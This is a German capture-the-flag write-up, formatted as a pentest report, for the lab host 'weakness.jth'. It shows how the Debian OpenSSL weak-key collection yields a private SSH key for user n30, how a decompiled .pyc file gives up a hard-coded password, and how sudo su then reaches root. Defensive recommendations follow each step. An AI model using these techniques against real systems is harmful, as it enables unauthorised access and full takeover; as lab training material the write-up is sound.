Voraussetzungen: Zugriff auf den öffentlichen Schlüssel (`mykey.pub`) und den Hinweis auf die verwundbare OpenSSL-Version. Zugriff auf die Sammlung schwacher Debian-SSH-Schlüssel. SSH-Zugang zum Zielserver muss für den Benutzer `n30` mit Schlüsselauthentifizierung erlaubt sein.
Analyse: Durch Web-Enumeration (`dirb http://weakness.jth/`) wurde das Verzeichnis `/private/files` gefunden, das `mykey.pub` und `notes.txt` enthält. `notes.txt` enthielt den Hinweis "this key was generated by openssl 0.9.8c-1".
Analyse: Die Sammlung schwacher Debian-SSH-Schlüssel (5622.tar.bz2) wurde heruntergeladen und entpackt. Der Inhalt von `mykey.pub` wurde mittels `grep` in den entpackten öffentlichen Schlüsseln gesucht.
Bewertung: `grep` identifizierte die Datei `rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub` als Übereinstimmung. Der dazugehörige private Schlüssel ist `rsa/2048/4161de56829de2fe64b9055711f531c1-2537`.
Analyse: Der Befehl `ssh -i rsa/2048/4161de56829de2fe64b9055711f531c1-2537 n30@192.168.2.155` wurde verwendet.
Bewertung: Der SSH-Login war erfolgreich, ohne dass ein Passwort benötigt wurde. Dies beweist, dass der gefundene private Schlüssel gültig war und zum öffentlichen Schlüssel auf dem Server passte.
Ergebnis des POC: Die Debian OpenSSL Weak Key Schwachstelle wurde erfolgreich ausgenutzt, um Zugriff auf das System als Benutzer `n30` zu erlangen.
Risikobewertung: Hoch (wenn ein schwacher Schlüssel verwendet wird). Ermöglicht unauthentifizierten Zugriff.
Empfehlung (Defensiv): Sicherstellen, dass keine schwachen Debian-SSH-Schlüssel mehr im Einsatz sind. Alle Schlüssel, die auf potenziell betroffenen Systemen generiert wurden, sollten neu generiert werden. Server sollten so konfiguriert werden, dass sie bekannte schwache Schlüssel ablehnen (z.B. über Blacklists in `sshd_config`). Das Betriebssystem und OpenSSL auf aktuelle, gepatchte Versionen aktualisieren.
Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `n30` erlaubt, beliebige Befehle als beliebiger Benutzer auszuführen (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass der Benutzer `n30`, nachdem er sein Passwort erlangt hat, diese `sudo`-Regel missbrauchen kann, um volle Root-Rechte zu erhalten.
Voraussetzungen: Zugriff als Benutzer `n30`. Kenntnis des Passworts für `n30` (`dMASDNB!!#B!#!#33`). Die fehlerhafte `sudoers`-Regel.
Analyse: Im Home-Verzeichnis von `n30` wurde die Datei `code` gefunden. Diese wurde als kompilierte Python-Datei (`code.pyc`) identifiziert. Nach dem Download wurde sie dekompiliert.
Bewertung: Der dekompilierte Code enthielt das hartkodierte Passwort `dMASDNB!!#B!#!#33` für den Benutzer `n30`.
Analyse: Der Befehl `sudo -l` wurde als `n30` mit dem gefundenen Passwort ausgeführt.
Bewertung: Die Ausgabe `(ALL : ALL) ALL` bestätigte die uneingeschränkten `sudo`-Privilegien.
Analyse: Der Befehl `sudo su` wurde ausgeführt.
Bewertung: Da `n30` alle Befehle als Root ausführen darf, startet `sudo su` erfolgreich eine Root-Shell.
Ergebnis des POC: Die unsichere `sudoers`-Regel wurde, nach Erlangen des Benutzerpassworts, erfolgreich ausgenutzt, um volle Root-Rechte zu erlangen.
Risikobewertung: Kritisch (sobald das Passwort bekannt ist). Ermöglicht vollständige Systemübernahme.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei der Vergabe von `sudo`-Privilegien strikt anwenden. `(ALL : ALL) ALL` nur für dedizierte Hauptadministratoren verwenden. Passwörter niemals hartkodiert speichern. Regelmäßige Überprüfung der `sudoers`-Datei.
Analyse: Die User-Flag wurde im Home-Verzeichnis von `n30` gefunden. Nach Erlangung der Root-Rechte wurde das Root-Home-Verzeichnis (`/root`) untersucht und die Root-Flag gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.
root.txt